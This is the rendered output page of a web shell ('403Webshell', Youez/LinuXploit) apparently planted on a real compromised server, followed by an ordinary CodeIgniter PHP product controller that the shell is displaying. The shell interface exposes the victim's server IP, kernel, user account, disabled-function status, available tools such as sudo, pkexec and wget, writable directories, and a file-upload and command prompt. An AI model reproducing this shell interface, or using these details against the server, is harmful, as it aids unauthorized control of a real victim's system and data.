403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/pundarikanail.com-bk/site/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/pundarikanail.com-bk/site/controllers/Product.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Product extends CI_Controller {

	
	public function __construct()
	{
		parent::__construct();	
		$this->load->model('Aboutus_model','aboutus');
		//$this->lang->load('aboutus');
	}
	
	public function index()
	{
		$data['title'] = 'Giới thiệu' ;
		
		$rs = read_file(ROOT_SITE.'cache/gioithieu.php');
		$data['rs'] = $this->checkvalue($rs);
		
		
		$data['cfg'] = $cfg = get_cauhinh();	
		$data['metatitle'] 	= $cfg->site_title;
		$data['metadesc']	= $cfg->site_desc;
		$data['metakey'] 	= $cfg->site_keyword;
		$data['metaimg'] 	= '';	//$cfg->metatitle;
		$data['canonical'] 	= site.'contact-us.html';
		
		$data['page'] = 'product/index';
		$this->load->view('skin_home',$data);
	}
	
	private function checkvalue($json)
	{
		$rs = json_decode($json);
		
		$obj = new stdClass();
		$obj->lb_image = isset($rs->lb_image)? $rs->lb_image : '';
		$obj->lb_subject = isset($rs->lb_subject)? $rs->lb_subject : '';
		$obj->lb_content = isset($rs->lb_content)? $rs->lb_content : '';
		
		return $obj;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit